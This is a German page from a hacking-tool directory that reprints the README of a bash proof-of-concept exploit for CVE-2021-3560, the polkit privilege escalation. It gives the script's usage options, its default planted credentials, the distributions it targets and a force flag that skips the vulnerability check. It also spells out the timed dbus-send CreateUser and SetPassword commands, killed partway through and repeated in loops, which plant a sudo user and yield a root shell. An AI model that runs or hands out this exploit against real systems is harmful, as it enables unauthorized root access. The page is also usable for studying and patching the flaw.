Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation — Automatisierter Bash-PoC für CVE-2021-3560 polkit-Privilegieneskalation. Nutzt einen dbus-Timing-Angriff aus, um einen sudo-Benutzer zu injizieren und auf verwundbaren Linux-Distributionen eine Root-Shell zu erlangen. | Kitploit
Tools/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsAuthentifizierung
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

Automatisierter Bash-PoC für CVE-2021-3560 polkit-Privilegieneskalation. Nutzt einen dbus-Timing-Angriff aus, um einen sudo-Benutzer zu injizieren und auf verwundbaren Linux-Distributionen eine Root-Shell zu erlangen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1245111vor 3 JahrenVon Kitploit geprüft

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Originalforschung von Kevin Backhouse

Dies ist nur ein Bash-PoC-Skript, das die in Kevin Backhouses Blog erwähnten Exploit-Schritte automatisiert. Lies seinen Beitrag zu dieser Schwachstelle: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Verwendung

USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Wichtige Hinweise:

  • Dieser Exploit funktioniert nur auf Distributionen, auf denen accountsservice und gnome-control-center installiert sind, und es muss polkit Version 0.113 (oder neuer) ODER 0-105-26 (Debian-Fork von polkit) vorhanden sein.
  • Dieser Exploit wurde auf Ubuntu 20.04 mit polkit Version 0-105-26 (Debian-Fork von polkit) und auf Centos 8 mit polkit Version 0.115 getestet. Wenn du sicher bist, dass dein Ziel verwundbar ist, aber die Prüffunktion des Exploits fehlschlägt, verwende das Flag -f=y, um alle Prüfungen zu überspringen und den Exploit zu erzwingen.
  • Distributionen wie RHEL 8, Fedora 21, Debian testing („bullseye") und Ubuntu 20.04 gelten als verwundbar.
  • Eine Liste der Distributionskompatibilität findest du in Kevins Blog.
  • Dieses Skript fügt einen neuen Benutzer in die sudo-Gruppe ein. Wenn der Exploit funktioniert hat, können wir uns mit su - <username> und dem an das Skript übergebenen Passwort am Konto anmelden und dann sudo bash eingeben, um in eine Root-Shell zu gelangen!
  • Da dieser Angriff auf präzisem Timing beruht, sind IN DER REGEL MEHRERE VERSUCHE ERFORDERLICH, damit dieser Exploit funktioniert.
  • WARNUNG: FÜHRE DIESES SKRIPT NICHT IN EINER GRAFISCHEN ANMELDUNG AUS!
  • Wenn dieses Skript in einer grafischen Anmeldeumgebung ausgeführt wird, öffnet die Schleife wiederholt die polkit-Authentifizierung. Führe diesen Exploit daher nur in einer SSH/NC-Shell aus.
  • Falls das jemals passiert, drücke die Esc-Taste, um die Authentifizierungsaufforderung zu schließen, und Ctrl+C, um das Skript schnell zu beenden.

Wie funktioniert der Exploit?

Eine umfassende Erklärung und ein PoC zur manuellen Ausnutzung dieser Schwachstelle sind im Blog des Forschers im Detail beschrieben.

Die TL;DR-Zusammenfassung dieses Exploits ist unten aufgeführt:

  • Dieser Angriff erfordert ein präzises Timing, und wir müssen uns per SSH anmelden (oder über eine andere Befehlszeilensitzung, bei der das Öffnen grafischer Anwendungen keine Option ist).
  • Ein Angreifer kann diese Schwachstelle ausnutzen, indem er polkit durch das Senden einer dbus-Nachricht auslöst, die Anfrage jedoch abrupt schließt, während polkit die Anfrage verarbeitet. Anschließend kann der Angreifer eine zweite Anfrage mit der eindeutigen Buskennung der vorherigen Anfrage senden, um die Anfrage als UID 0, auch bekannt als root, auszuführen.
  • Diese Schwachstelle existiert in polkit, weil es die UID einer Verbindung mit einer Buskennung, die nicht mehr existiert, als eine Anfrage von UID 0 behandelt. Das bedeutet: Wenn wir den Angriff richtig timen und unsere erste Anfrage im richtigen Moment beenden, können wir die zweite Anfrage mit den Privilegien von UID 0, auch bekannt als root, stellen.
  • Das Timing zum Beenden der Verbindung wird berechnet als die Zeit, die zum Senden der dbus-Nachricht benötigt wird, geteilt durch 2. Im Detail erklärt hier.

Was macht dieses Skript eigentlich?

Wie ich bereits sagte, ist dies nur ein Bash-Skript, das Kevin Backhouses PoC automatisiert. Die Kernbefehle sind dieselben; ich habe nur einige anfängliche Schritte automatisiert (wie das richtige Timing, das Scannen auf Schwachstellen, das Einfügen benutzerdefinierter Anmeldedaten, das Anzeigen hübscher Farben usw.).

Wenn dieses Skript ohne Parameter ausgeführt wird, ist das Standardverhalten wie folgt:

  • Den Distributionstyp prüfen. [Mithilfe der Datei /etc/os-release.]
  • Prüft, ob accountservice und gnome-control-center installiert sind. [In rhel/centos/fedora wird rpm -qa verwendet, in debian/ubuntu-Distributionen dpkg -l].
  • Wenn die Installationen gefunden werden, prüft das Skript die polkit-Version. [ 0.113 (oder neuer) für rhel.centos,fedora und 0-105-26 für Debian/Ubuntu]
  • Wenn die polkit-Version als verwundbar eingestuft wird, startet das Skript den Exploit
  • Zuerst ermittelt das Skript die Zeit, die zum Senden der Anfrage mit debus-send benötigt wird, indem es bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null ausführt
  • Dann wird die Zeit zum Beenden der Anfrage ($t) berechnet, indem die für die Anfrage benötigte Zeit durch 2 geteilt wird. ($t=benötigte-Zeit-für-die-Anfrage/2) [Berechnet mit awk]
  • Nachdem die Zeit ($t) berechnet wurde, wird die Anfrage zum Einfügen von $username secnigma auf dem Ziel 20 Mal wiederholt. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Wenn das Einfügen des Benutzers erfolgreich ist, [festgestellt mit id secnigma], wird ein Passwort-Hash generiert [mit bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Dann wird der Befehl zum Einfügen des Passwort-Hashes 20 Mal ausgeführt. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!
Tool herunterladen